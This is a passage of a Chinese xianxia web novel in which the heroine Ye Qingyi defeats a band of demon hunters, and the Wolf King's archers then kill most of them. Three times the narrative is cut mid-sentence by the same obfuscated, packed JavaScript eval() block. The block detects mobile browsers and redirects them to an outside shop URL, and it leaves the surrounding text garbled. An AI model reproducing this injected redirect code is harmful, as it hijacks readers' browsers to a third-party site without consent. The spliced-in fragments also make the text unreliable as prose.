一位身着灰色布衣的男子一见叶清漪便迅速皱眉:“本想抓个女妖,却误抓了个女修士,真是晦气!” “老大您看,要不放了?”另一位身量较矮留着花白胡子的老头试探着问。 中间那位蓝布一字胡的中年男子不以为意:“既然都抓了,干脆留下,咱们也没用修士练过妖丹,据说魔修的内丹价格更高,看这身强力壮的肯定受得住魔气。” 叶清漪思索了一下才意识到“身强力壮”说的是她。 右手边的白衣男子眯着眼打量了她半晌,手中折扇一收,虚虚点着叶清漪:“要不还是放了吧!” “放了?我们这阵法布了三天三夜,如今被她闯入,已经作废了,不把她留下岂不是白忙一场。” “就是,哥几个在这蹲了这么久,隐匿身形,为了不暴露行踪,即使被蚊虫叮咬也不敢出声。如今好容易抓到个人,居然还要放了?” 站在后边的两个身着青蓝色短打的男子也不肯作罢。 “你们疯了吗?忘了建会之初怎么说的,我们只抓恶妖,不养妖灵,也不炼化魔修,如今怎么全忘了吗?”白衣不禁提高了声调。 “现在还有哪个协会不这么干,就咱们坚守初心有什么样用,看看还剩多少人了,就咱们六个了,其他协会都壮大了,咱们再不抓点妖卖钱,还不如趁早别干这一行了!”灰衣挥着一把带着缺口的短刀,刀身磨损严重,毫无光泽,显然使用多年,且疏于打理。 “老六说的没错,”蓝衣中年男子道,“守规矩也要看情况,咱们现在饭都快吃不上了,还守着那些没用的东西做什么?” “就是!规矩能当饭吃嘛!”灰衣高声附和。 “别的不说,老三这腿再不治就废了。” 叶清漪才注意到,白胡子老头一直拄着个枯树枝,估计是随手捡的,细得很,几乎支撑不住他的力量。 其实白胡子倒也不老,只是发须花白,像是练功遭到反噬,才出现形容衰退的现象。 白胡子看起来想表示自己没事,可没开口就被混乱的气息呛到,连连咳嗽起来。 叶清漪视线落到他的右腿上,小腿上缠着细密的布条,隐约可见渗出的些微血迹,想是做了紧急处理,但条件简陋,只怕伤口已经化脓,这才导致他的气血虚亏。 “你看看,你是不顾老二的死活吗?” “可是……”白衣还想再说些什么。 “三哥,你一个人想当好人,别拉上我们一起吃不饱饭啊!” “就是!” “……” 争执至此告一段落,少数服从多数,纵然白衣想阻止,到底是孤掌难鸣。连喜他们便在此时赶来了,叶清漪当即与他对上视线,微不可察地摇了摇头。 这时那灰衣男子和蓝衣交换了个眼神,二人对着点了点头,灰衣走上前来,举刀朝叶清漪劈头砍下,刀刃落下时劈出一道寒光,打在叶清漪头顶,复又消散。 紫玥和狼女登时便要冲上前,连喜抬手拦在她们身前:“别急,区区几个散修还伤不了她。” 灰衣这一刀显然蓄了十成的灵力,站定后气息浮动不定,半晌才平息下来,却见叶清漪安然无恙站在那里,简直是对他极大的侮辱。 其他人也都惊呆了。 一旁的白衣此刻也发现了端倪,眼前这修士,看似困在法阵里,实则丝毫没有受到压制。 “你怎么搞的?我来!”蓝衣说着就要亲自上。 蓝衣使的是双刃飞星镖,相比单个镖身,三镖合一的飞星镖命中率更高,为了万无一失,蓝衣同时祭出九枚飞星镖,对准叶清漪各处要害——双手手腕、双膝、面门、喉咙、双肩以及腹部,几乎不给对手一点生机。 “高义!你疯了!”白衣一把抓住高义的胳膊。 “老三,我劝你别多管闲事,你们几个给我看住他!” 蓝衣指令一下,除了腿脚不好的白胡子老二,其他三人上前,将白衣围住。 蓝衣运气于掌心,面前那一方空间便如水波般荡开,水波推动着九只飞星镖飞出,每只飞镖上都注满了灵力,直直向叶清漪飞来。 白衣老三急了,只好跟其他三人打了起来,老三实力比他们中哪个人都强,只是一对三终究还是有些吃力,一时无法脱身。 远处的连喜眸色一紧,往前挪了半步,下一刻又停住了,眉心也渐渐舒展开。 只听白胡子喊了一声:“快看!” 高义茫然望去,白衣和其余三人也停下打斗,一齐朝叶清漪这边看来。 只见九枚飞星镖齐齐停在法阵前,却难前进一分,像是被什么力量控制住了,下一瞬,法阵中的叶清漪竟抬起手,徐徐往外推了一把,九枚飞镖竟然原路返回了。 高义脸色大变,急忙闪身,堪堪与掉转镖头的飞镖擦身而过。 其余人也纷纷侧身避开。 “怎么可能,这阵法虽说是为妖灵所设,但寻常修士进入此阵势必被封住经脉,不得动弹,你擅自解开经脉,竟然毫发无伤?” 叶清漪抬手,举步而出,手足处缠缚的金线便如蛛丝般断裂,坠下的瞬间便已消散不见。 “法阵的威力取决于施法者的修为,而多人法阵则取决于布阵者的综合修为,修为境界越接近,法阵发挥的威力则越强,这也是为什么布阵需要修为境界相当的修士布阵,若有一方教其余人弱上许多,则会大大削弱法阵的威力。至于被困法阵的人,自然是修为不如布阵者的居多,不过偶尔也能困住修为高出一个境界的人,但绝不会高出两个境界以上。” 叶清漪缓步走出法阵,如履平地,阵法甚至没有伤到她一根头发丝。 其他人都看傻了,蓝衣和白衣的神色更是微妙复杂。 “怎么可能,看你这样子顶多也就到练气期,再有天赋也不会超过结丹,我们里面可是有三位结丹后期,即将悟道的。”青黑色衣着的其中一位开口了。 叶清漪整理着衣袖:“不才堪堪入第一重天。” “怎么可能!简直匪夷所思!这般修炼速度闻所未闻!敢问阁下拜在那位名师之下。”“尚未有师承,只是云仞山一个小小仙徒而已。” 众人脸色更难看了,紫玥的神情也有些惊讶。 只有连喜很平静,像是早已料到叶清漪会更早进入重天境界。 进入重天境,才算正式步入修仙之道,重天境之前,只是修道,打通经脉,脱离凡胎,大多数人也多止步于此,无法避免生老病死,容颜仍旧会衰退,只是比未修道者要缓慢一些,寿命更长些罢了。 “这……”那几个修士手持法器面面相觑,一时不知如何是好,最终纷纷看向蓝衣,“老大,这,我们还要上吗?” 结丹对重天,几乎毫无胜算。 这时白衣率先发现一旁隐匿多时的几人,连喜便带着紫玥和狼女过来,走到叶清漪这边。 “这下完了,她还来帮手了。”灰衣柴六见状横刀身前,做防御状。其余人也皆如临大敌。 “怕什么,他们三个人,我们有六个,人数足足是他们的两倍!”蓝衣没什么底气地放起狠话。 “老大,这不是四个人吗?” “那就是个小孩,你也怕?”蓝衣反手兜头给了灰衣一杵子,力度刚刚好,没造成重伤,但看着又挺疼。 这一下太突然,灰衣被打得龇牙咧嘴,眼神哀怨地揉着脑袋,不敢再多言。 叶清漪和连喜含笑交换了眼神,未及开口,紫玥一手搂着狼女上前:“就你们几个,都不用我们动手,有她出手就够了。” “妖女胆敢口出狂言!这简直是奇耻大辱。”青黑衣着的另一位修士愤愤举剑相指。 紫玥嗤笑一声:“你们今日受的屈辱还少吗?先打过我们小孩再说吧!日后好长长记性,可别随便瞧不起人。” 说着拍了拍狼女的肩膀,示意她上前。 紫玥的态度让几人都有些慌乱,但一看眼前不过只是童妖,想也没多厉害。 “留神点,别伤了人!”紫玥有意戏谑,还刻意大声叮嘱狼女。 “看什么,别把我们教会的脸都丢尽了!”蓝衣彻底被激怒,对着身后几人呵斥。 这下几人不想上也得上了,便举着法器,跃跃欲试着上前。 狼女其实不懂发生了什么,只看到对面的法器,便立时双眼通红,又变成了鉴赏会袭击叶清漪时那般。 几个修士神色瞬间凝重,但已经冲了出去,逃也是死,只得硬着头皮招架。 好在狼女听了紫玥的话,伤人时并未出爪,是以被她打中的人并未受伤——只是飞了出去。 “这样真的不会有事吗?若是狼女不小心把他们全灭了,会不会激化猎妖师和妖界的矛盾啊!”“应该……不会吧!”连喜提高声调,说到最后却有些迟疑,他也不确定。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14027388|146164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叶清漪这话本意是担忧对面安危,可落在他们耳中就像是变相嘲讽,为了尊严打得也更出力了。 由于狼女没有下狠手,加上对面人多,轮流和她过招,几轮下来她便力有不逮,落了下风,又不慎露出破绽,竟被他们用符咒定住了。 叶清漪瞬间眉心紧拧,一错不错地望着狼女的方向。紫玥更是急了:“果然是本性难易,稍稍对你们有所宽容,就被逼到,早知道就该让小孩咬死你们。” 紫玥言罢祭出玄冥斧便打了上去。 叶清漪和连喜也不再放松警惕,各自召出法器,也加入其中。 紫玥虽然强悍,但奈何狼女有符咒镇压,她不得近身,几个修士更是想用捆妖索等法器对付她,她不得不连连躲避。 “好啊!总算露出真面目了,前面装的那么可怜,关键时刻还不是用上这些破玩意。”紫玥手拿魔斧纵砍横劈,口中还骂骂咧咧。 叶清漪青锋剑尚未出鞘,并且只用了单纯的功法招式和他们打——狼女还在他们手里,她难免投鼠忌器。 柴六拿刀守着狼女,青黑衣的两位兄弟则跟紫玥缠斗一处,白胡子有伤,拖着病腿躲避着紫玥胡乱挥舞的斧子,生怕被紫色的魔气伤到,再搭上另一条腿。连喜则是跟白衣老二过招,虽然白衣对他兄弟们的所作所为不甚苟同,但一旦打起来,他还是要帮着的,而他的实力也跟连喜有的一拼,只是身体似乎不是太好,像是有宿疾弱症,招式显然绵软无力,功法自然也大打折扣,连喜也看出来了,也不曾下狠手,只牵制住白衣,教他不得脱身而已。 叶清漪则是与蓝衣老大高义对上,她看此人早就不顺眼,自是不像连喜那般留手,尽管没有施展法力,只用剑鞘就已打得对方连连后退。 高义也是用剑,之前的飞星镖更偏向于暗器一类,远距离还行,在近战中不比明刀明枪有优势。这高义也算剑修中的好手,剑招行云流水,变化万千,剑身可聚气为冰,这剑便也从寻常灵剑化为坚韧锋利的冰剑。 “这是……寒天门的功法!”叶清漪认出这招。 “不错,正是寒天剑法七十二式最后也是最强的一式——寒霜斩。”高义颇为得意。 这名字让叶清漪想到另一把灵剑,霜华剑,不免苦笑摇头,她真是跟水系术法命里犯冲啊! “原来是寒天门的师兄,失敬失敬,师兄既已习得寒霜斩,何以会出现在此处?”叶清漪反手一挥,格挡开高义的下一剑,还毫无波澜地和高义“寒暄”起来。 “微末小事,不值得同师妹一说。” “如果我没猜错的话,师兄怕不是没入内门,这才下山做了散修吧!”叶清漪故作惊讶。 其实这个原因是显而易见的,但被叶清漪这么说出来,性质就变了,高义脸色瞬间阴沉,下一刻出招凌冽狠厉,显然用上了十成的功力。 叶清漪只是各种招架,并不进攻。高义眸中怒气翻涌:“二人斗法,你的佩剑却久久不肯出鞘,简直是傲慢之极!这就是你们云仞的教养?” 这话是有意要激她,若是前世,叶清漪或许会又气又急,但又说不出话反驳,或者干脆隐忍不发。如今她可不会再那般客气,但面上没有丝毫不悦,反而笑了笑,甚是为难地道:“既然如此,那便如你所愿。” “青锋剑,出鞘!”叶清漪松开剑鞘,单手持剑,唤出灵剑之名,将剑灵唤醒,青锋剑在她手里这些时日,已经有个模糊的剑灵,只是还不成气候,剑灵最后也未必会化形,如果叶清漪后面炼出人剑合一,剑灵便会自动消散了,前世剑灵出现的更晚,叶清漪还没察觉到它的存在时,就已经消散了。 此时剑灵苏醒,剑鞘化为灵力注入剑内,转眼间,叶清漪便已持剑在手,剑刃泛着寒光,昂然待战。 叶清漪喊出青锋剑名时,高义的脸色明显变了,等看到叶清漪将剑鞘化于无形,只拿着剑身时,更是呆傻当场。 不等他回过神,叶清漪长剑横扫,一波剑气袭来,高义立时清醒,腾挪退出去几步远,并反手挥出冰剑,欲击退剑气。 一青一蓝两道剑气在半空相撞,蓝色剑气被直接从中间劈开,化为烟雾散去。青色剑气还在前行,直至击中目标。 高义被这一下平地冲出去好几丈远,极力定住身形后,还吐出一口黑血。 “老大……老大!!!”其他人都慌了,但又无暇顾及,只得在原地大喊。 高义抬手,示意他们没事,待稳定了气息,才道:“是我技不如人!云仞弟子果然名不虚传。” 叶清漪也不自损,只收了剑站着,似笑非笑地看着高义。 谁知高义自知不敌,佯装投降,见叶清漪收势,他得了喘息之机,假意抬手擦血,实则借此掷出袖中三枚飞星镖,直直向叶清漪面门袭来。 “小心!!!”连喜和紫玥几乎同时喊出声。 108. 欺人太甚 好在叶清漪早有预料,运气于左手掌心,凭空将三枚飞星镖定在当场。 “背后偷袭?这就是寒天门的教养吗?” 叶清漪戏谑地把玩着三枚飞星镖,因不知其上是否淬了毒,她只用气将飞镖悬于手心上方。 叶清漪不好激,其他人就不一样了,除了白衣和白胡子,其他三人连同高义在内,都被这句话激怒了。 青黑衣二人大约是亲兄弟,甚是有默契,不过一个眼神,二人已心生歹计,一人牵制住紫玥,一人成功脱身,跑到一旁和柴六一起钳制住了狼女。 “把剑放下!不然我就杀了她!”那人说着一剑横在狼女脖子上。 狼女被符咒控制,无法动弹,眼中的杀意早已被惊惧取代。 叶清漪敛了笑意,眼神瞬间充满寒意;连喜也停了下来,神情也变得很冷。 见连喜不打了,白衣也收了手,但也没有走到高义那些人身边,而是站在原地高声规劝:“周海,你这样太过分了吧!” “过分?”周海冷笑一声,“她本来就妖,我们猎妖师斩妖除魔本就是替天行道,怎么过分了?” 面对这番说辞,白衣也不知道怎么反驳。 “南宫良雪,我看你是受罚受多了,竟然替这些妖邪说话,该不会是此前在仙门受尽欺辱,便心怀不忿,一心要从中作梗吧!”周海毫不客气地直呼其名,显然已经不顾念兄弟情谊了。 “我记得你亲妹妹好像就在云仞吧!说起来这也算你半个师妹,所以你才这么袒护是吧!但我还是劝你别白费力气了,没看到人家已经名花有主了吗?”两兄弟的另一位也嘲讽起他,说着还故作惊讶,“怕不是想抱上大腿,好混进云仞吧!” “周山!你!”一番话堵得南宫良雪无言以对,脸色青一阵白一阵,很是难看。 南宫良雪?他妹妹难道是南宫君霖? 叶清漪这才细细打量起南宫良雪,虽孱弱单薄,但仍难掩周身不凡气度,姿容清隽,眉心有灵气聚集,是上等资质,天赋奇材,可惜根骨受损,于修仙上难有所成,或许是因为这样,他才没能进入云仞,反倒让南宫君霖进了,可惜南宫君霖资质平平,也不知是不是造化弄人。不过说起来这兄妹二人性子还真是截然不同,一点也不像亲兄妹。 “休得胡言乱语!”南宫良雪脸都憋红了,才憋出这么一句。 柴六露出鄙夷的笑:“你一个自身难保的残品,还想学他人打抱不平,我们老大是可怜你才收你进会,不然你现在指不定死在哪里!” “行了,别跟他废话了。”高义见叶清漪几人愣住了,以为他们是怕了,又莫名恢复了一点气势,懒懒地摆摆手,“你们两个,把这小妖给我看好了。你俩想好了吗?还不束手就擒吗?” 那周山在边上微微眯眼,语气轻佻:“这小妖不会是你俩的种吧!” 除了南宫良雪,其余几人都爆发出一阵哄笑。 尤其是周山。 但很快他的笑声戛然而止,眼中充满惊恐,却动弹不得,只能发出呜呜的声音。 其余几个猎妖师都瞪大了双眼看向叶清漪。 “吵死了,聒噪。”叶清漪右手停在半空,白色纱质的衣袖被施法的术波掀动,露出小臂外侧若隐若现的印记,叶清漪并未察觉,将手收回身前。两步开外的连喜从这时便一直盯着她右手小臂,视线从她的胳膊扫到她脸上,见叶清漪若无其事,连喜不动声色收回视线,嘴角的笑意淡去,眼神阴翳,像蒙了一层化不开的浓雾。 以高义为首的几人这下才有些怕了,他们本以为叶清漪的重天境界不过是吹嘘罢了,就算比他们厉害一些,也不敢对修士出手,毕竟修士出门在外,代表的是仙门的形象,若让人知道云仞仙徒下山试炼之时欺凌散修,还为了妖邪跟猎妖师大打出手,岂不是给云仞抹黑。到时叶清漪就算试炼成功,回去也进不了内门。他们没想到,叶清漪竟然真的对他们出手,还会用禁言术。 “这是……禁言术!这种高级别的术法,你怎么会用?”高义眼神闪烁,且问且退。 “高师兄这话问的,自然是修习出来的,怎么师兄你不会吗?”叶清漪一副疑惑的样子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14044111|146164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看不出半点故意。 “怎么没底气了?你之前的气势呢?”连喜声音不大,但高义听着格外刺耳。 “别以为这样我就怕了你们!恃强凌弱算什么本事!” “老大别跟他们废话了,赶紧给我兄弟解开,不然我就把这只小妖当场炼化成妖丹!” 狼女眼神越发茫然,一个劲看着叶清漪。周海给了柴六一个眼神,柴六暗暗用力,抵在狼女脖颈处的匕首越来越近。 叶清漪聚气于掌心,倏地抬眸,眼中的寒光直逼周海,周海瞬间就被一股无形的力量定在当场,下一刻,腾空而起,口鼻同时鲜血迸发,在空中划出一道血腥的弧线。 叶清漪神色未变,收回挥出的一掌,换了手又结印打在柴六的匕首上,柴六的手便像被何物控制住了,不听自己使唤。 “挺厉害啊,”连喜笑笑,“既然你这么简单就能解决他们,刚才为何同他们废话这许久?” 叶清漪保持着施法的姿势,反手往另一侧打出一道仙力,高义举起的冰剑应声裂开,薄冰落了一地,寒冰斩这就被她破了。 “打架容易,之所以跟他们说那么多,是因为我想了解他们的关系,还有猎妖师的具体情况。不过如今想想,以狼女为引还是有些冒险。” “你这样可没半点觉得冒险的样子,真是艺高人胆大。”连喜摇摇头,信步上前,掰开柴六的手,夺下匕首,随手交给紫玥。 “你刚怎么不动手!” 连喜取下狼女额头上的符咒,替她解了定身法:“我自然是相信叶大师姐的能力了,若我出手,这些人全死了,我怕你嫌弃我滥杀无辜。” 二人你一句我一句,全然不顾几个非死即伤的猎妖师的死活。 高义撒手锏被破,还被这么轻视,怒火中烧,大骂一声“欺人太甚”,拄着长剑就要起身再战。 林中风向忽地逆转,连喜立刻警惕起来。 叶清漪也感受有一股很强劲的灵力埋伏在暗处,不等她分辨来者是人是妖,就感觉到自己的意识被猛然打断——对方发现了她。 109. 狼王出场 叶清漪来不及做出反应,暗处灵力涌动,不计其数的暗箭自四面八方射出,如雨般落下,几乎是不分目标地射向他们每一个人。 “小心!!!”连喜大喊一声,一把将狼女推开,堪堪躲过一支擦身而过的暗箭。 叶清漪挥剑横扫,劈断飞来的十几支箭矢,接着以剑为笔,凭空划出繁复的篆文,连喜与她默契配合,二人几乎同步,挽出最后一个剑花,一道坚实的结界出现在他们上方。 飞来的箭矢被结界尽数抵挡,只够在其上撞击出一个个转瞬即逝的凹陷。 叶清漪和连喜一齐抬头望向这结界,叶清漪眉心微动,神色似有怅惘。 “好久没用这一招了。”连喜不禁感慨。 “这是什么招数?”一旁的周海第一次见这种招式,顿时慌乱起来,“你们到底是什么人?” 高义也有些怕了:“我从未见过这种结界。” 叶清漪无言望着那结界,像是一时出了神,当初为了抵御那些欺凌他们的魔族,她和连喜联手创出了这种结界,比寻常单人的防御更强,外能御敌,内能疗伤,大大减少了他们躲避的时间,好几次都帮他们度过了险境。只是今日这结界,似乎支撑不了很久,不过片刻,结界上已经出现了裂缝。 暗处的人修为远在他们之上,连喜也发现了。 “何方神圣,既要取人性命,为何不敢现身一见?”叶清漪对着暗处喊道。 “你们绑了我的女儿,还想死个明白吗?”一道浑厚的声音响彻树林上方,有人自林子一隅缓缓走出,溪水顿时激起千层浪,鱼虾也吓得四处逃窜。山野之上,鸟兽虫鸣一概不闻。 狼王一出,万兽退避。 来者便是狼族妖王淳于昊苍——淳于容绒的父亲。 淳于昊苍手持催日弓,一身戎装自一侧步出,眼神凌冽,气势逼人,让人不敢直视。 连喜连忙道出他们的来意:“狼王且慢,我等是奉长公主命护送狼族公主回妖界的,狼王莫要误会。” 听到长公主的名号,狼王的神情稍稍有所缓和,但还是抱有怀疑,不过倒是暂时没有和连喜计较。 “你们这些破烂修士,也配动我的女儿,刚才都有谁碰了她,全给我剁了!”狼王挥挥手,一圈埋伏在暗处的弓箭手一齐出现,高举弓箭,将他们团团包围。 “除了两个妖族的,其他都解决了。” 叶清漪看了看边上的几个猎妖师,发现她不知何时和他们站在了一处,看上去还真像是一伙的。 “哈哈哈!狼王且慢,这里面有误会!你听我解释。”叶清漪干巴巴地笑了笑,试图往前两步跟其他人拉开距离。 结果刚挪了一步,一支穿云箭就射在了她脚下。 叶清漪:“…………” 狼族的彪悍还真是名不虚传啊! 狼女睨了她一眼,冷哼一声:“你一个女修,竟也跟着这些渣滓作恶,简直可恶,不如我亲手结果了你!” 狼王说着就要动手。 叶清漪捏紧了手中的青锋剑,盘算着对战狼王她有几分胜算。 连喜也急忙劝阻:“狼王,这是和我们一起护送容绒公主的。” 狼王懒得搭理他:“你自己的身份都还没核实,就别急着替他人分辨了。” 连喜暗暗积蓄灵力,想着他跟叶清漪联手对战狼王有几分胜算…… 眼见狼王已将摧日弓缓缓举起,连喜和叶清漪都已蓄势待发,这时一道清丽的声音响起:“阿父,莫要伤她!” 一直没开口的狼女,忽然说话了,还是替叶清漪求情。 狼王很是惊讶,叶清漪几人也很意外。 “你会说话啊,我还以为你不会说人话呢!” 连喜柔声提醒:“紫玥……” 狼女倒是不在意,磕磕巴巴地说:“我……会说话……不会……说人话……” 叶清漪、连喜、紫玥:…… 狼王放下弓箭走过来,左右查看一番,确认狼女无事才道:“小女未到过人间,不会人族语言。该是这些时日和你们一起学会了几句。” 接着二人用狼族语又说了几句,叶清漪听不懂,不过看狼王的反应,应该是跟狼女核实他们几个人的身份。狼女说狼族语的时候明显流利很多,音色也跟说人族语时有所不同,狼族语音调要稍微高些,不过她说得还挺好听。 二人交谈了几句,狼王招来随行带来的两个狼族侍女,将狼女护到一旁。又对叶清漪几人道:“刚才跟小女确认过了,几位的确是一路护送她过来的,那就这几位需要处理的了。延武,动手吧!顺便告诉老大,老三,可以把搜寻的人马尽数撤回了。” “狼王有四子一女,弓箭队为首的是狼王次子淳于延武,看来为了救女儿,这次几乎都出动了,只留了小儿子留守。”连喜轻声跟叶清漪解释狼族的人物关系。 “看来狼王万分疼爱这位小女儿。”叶清漪再次感慨,也难怪前世容绒的死会对他造成那么大的打击。 二人说话间,淳于延武已经搭弓拉箭,对准六位猎妖师。 叶清漪往边上看了两眼,急急上前:“且慢且慢!” 淳于延武没有下令,如今动手的只有他一人,他自是不管叶清漪说什么,一箭已经发出,直直射向周山。 这一箭力道极大,直接将周山的心□□穿。 周山瞪大双眼,不可置信地低头看了眼心口,那里赫然出现一个骇人的血窟窿。周山禁言术还没解,一点声音也发不出,直直倒了下去,顿时失去一切生气,胸口再无起伏。 “大哥!”周海凄厉哭喊,吐着血艰难爬起,举刀冲向淳于延武,“我跟你拼了!!!” 冲出去三步远,就被一只金羽箭刺中胸口,直挺挺倒下,和他哥躺在了一起。 中了定身术的柴六见状无比慌乱,试图运功冲破穴道,导致气血逆行,鲜血不停从嘴角渗出。终于冲破几处穴道,吃力地移动一边的身子,还没挪半点,直接被一把匕首飞来挑断了手筋,血流如注,那只手还维持着握着匕首的姿势。 柴六五官扭曲,眉心紧皱,鲜血争先恐后自口中涌出,前襟立即濡湿一大片。 叶清漪刚走到南宫边上,见状和他对视一眼,两人都傻了,脑子里同时响起一个声音——这下完了。 三个兄弟眨眼都倒下了,高义彻底慌了,一面佯装不敌,举剑防御,一面趁人不备故技重施,对着淳于延武连发十几枚飞星镖,镖镖直冲他手筋脚筋,欲将他手中的弓箭打落。 见他这般,叶清漪便知他要死得很惨了。 “这种上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14068591|146164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不得台面的计俩,也敢在我面前卖弄!”淳于延武冷哼一声,一个腾空,轻易躲过所有飞星镖,同时松手,蓄势良久的金羽箭直直朝高义眉心而去。 高义反应迅速,举剑将其击飞。 淳于延武并不在意上一箭有没有射中,在半空就重新取箭,拉满弓,下落时松手射出,三箭齐发,不给高义半点喘息之机。 高义猝不及防,只举剑挡去两支,剩下的一箭刺中左肩,箭头完全没入血肉,强大的冲击让他当场跪了下去。 绵绸的血混着唾液不住流下,高义的眼神迷离,意识似乎都涣散了。 他恍惚地抬起头,望着淳于延武的方向。 就在叶清漪等人以为他还要负隅顽抗时,高义忽然以头抢地,连连求饶,痛哭流涕地求淳于延武饶他一条狗命。 这转变太过突然,叶清漪等人都没反应过来。 “没想到这老大这么怕死啊!早知道刚才就直接给他干了,还多余墨迹那么长时间。”这个微妙的时刻,其他人都不敢乱说,只有紫玥丝毫不在乎,冷冷嘲笑起来。 狼王看了她一眼,并未责怪,而是对二儿子下令:“快点解决了吧,莫要耽误你妹妹回宫同你母后用晚膳。” 淳于延武颔首领命,眼中精光一轮,已有新的计较。只见他放下了弓箭,对高义摆摆手,意思是让他快滚。 高义起先还愣住了,没想到竟然真的放了他,缓过来的他,踉跄站起身,低头的瞬间眼神忽然又变得阴鸷。 此时淳于延武已经转身准备离去。 南宫良雪察觉到高义的动机,大喊一声:“小心!!!” 手中扇子一甩,准确击落即将刺中淳于延武后背的飞镖。 淳于延武转身,看他的神情该是早就料到高义会故技重施,只是略带疑惑地看向南宫,很是不解。 与此同时,等候良久的侍卫早已万箭齐发,将高义射成了刺猬。瞪着双眼跪倒在地,脑袋终于缓缓垂下。 叶清漪隐隐担忧,六个猎妖师已经死了四个,不出半月,狼族灭掉一整个猎妖师帮派的传闻就会传遍整个中州,只怕人族和妖族的矛盾又要激化了。 这时一直没有开口的淳于延武,忽然指着南宫良雪问:“你刚才为何要救我?” 南宫良雪一时不知如何作答。 叶清漪的视线在二人之间来回逡巡,抬手示意:“二殿下,狼王陛下,我正想跟二位说说情,他方才并未伤害公主,不知可否网开一面?还有那个伤了腿的。” 狼王负手而立,饶有兴趣:“噢?你是想保下他们两人吗?” 叶清漪诚恳点头:“正是。” 狼王笑盈盈地打量着她,他分明笑着,叶清漪却感觉到一股无形的压迫感,不得不强自镇定,避免露怯。 边上的连喜想替她说话,被她用眼神制止了,他若混在其中帮忙,只会惹怒狼王,让他觉得他们想联手胁迫他。 狼王盯着她一会儿,忽然收敛笑容,眼神充满寒意,叶清漪心里有股不祥的预感。 “咻——” 一支箭凭空而来,堪堪停在叶清漪眉心。 “你不是寻常修士?说!你潜入妖族究竟意欲何为?” 叶清漪瞬间全身气血逆行,手脚发冷,整个人定在当场。 110. 疑云丛生 “狼王!莫要冲动!”连喜沉声开口,宽大袖袍里的手暗暗握紧了。 狼王不禁扫了连喜一眼,又将他们几个挨个打量了一遍,忽然大笑起来:“真是有意思,你们一个紫蝠后人,一个半妖半仙,一个仙门弟子,长公主怎么会派你们三人护送我儿回宫呢?” 这话无疑是赤裸裸的轻视了,叶清漪此刻内心的愤怒已经大过惊恐,她稳了稳气息,汇聚灵气于眉心。 狼王也察觉到此,状似无意地对上叶清漪的视线,眼底闪过一丝惊讶之色。 叶清漪也丝毫不躲避他的眼神,就是狼王要动手,她也做好了殊死一搏的准备,不料下一刻,狼王竟忽然撤了那支箭。 叶清漪愣了一会,才后知后觉地放松下来,暗暗呼出了一口气。 “你没事吧!”连喜立马紧走两步过来。 紫玥则在一旁拿着斧子远远指着狼王:“你这人好没道理,我们替你将你女儿送回来,你不礼待也罢了,还动手,我看该是我们觉得奇怪,长公主怎么会让我们给你这种人奔波。” “既然人已送到,我们也算完成嘱托,就不多加停留了。”连喜语气不太客气,说完便想拉着叶清漪离开。 “且慢!”狼王喊住他们。 狼女也急得跑过来,先是拉住紫玥,又过来查看了叶清漪的额头,接着跑到狼王面前,不知在说什么,但能看出来狼女情绪很激动,像在同狼王争执。 狼王安抚地拍了拍她的脑袋,示意她稍安勿躁,又走到叶清漪他们近前。 “适才是本王冒犯了,只不过初次相见,对几位秉性不甚了解,也怕是有心人半路偷梁换柱,这才稍微用了些手段,不曾想唐突了各位。” 叶清漪、连喜和紫玥都不接话。 狼王是何等人物,早就对此见怪不怪,应付起来也是游刃有余,见叶清漪几人都没有缓和的意思,狼王又笑笑,道:“也不能全怪本王吧!三位身份都不一般,此地又是妖族边界,本王自然要多加警惕才是。” 紫玥拎起斧子指着他:“这么说还是我们的不是了!真是巧舌如簧。” 连喜按下她的手,阻止她说出更难听的话,对狼王道:“狼王思虑周全,我们自是理解的,好在有惊无险,也算是不打不相识了。” 叶清漪安抚地拍了拍紫玥,示意她别为了不相干的人动气:“再争执下去也是无益。” 紫玥收回斧子,双手抱胸:“随便你们,反正我骂也骂了,气也出了,也懒得跟他们计较。” 叶清漪又道:“既然事情也清楚了,那我们是否可以离开了?” 紫玥:“对啊,快让你的人撤了,赶紧带着你的宝贝女儿回去吧!” 狼王看了看狼女,而后爽朗一笑,眼尾挤出三道笑纹,笑眯眯地看着他们三个,这回这笑终于是真心的了:“几位不如随本王一同回宫吧!一路跋涉辛苦,适才本王又多有冒犯,自当设宴款待,算是赔罪和感谢。” 叶清漪和连喜互相看了看,一时都没有表态,连喜又转向紫玥,查看她的态度。 紫玥摆摆手:“我是无所谓!你们定,我跟着就是。” 倒是狼女听了,眼神顿时亮了,走过来拉着紫玥和叶清漪的衣袖,水汪汪的大眼睛眨巴着,满是期待地看着她们。 紫玥试探着开口:“要不……答应了?” 狼女立马点头如捣蒜。 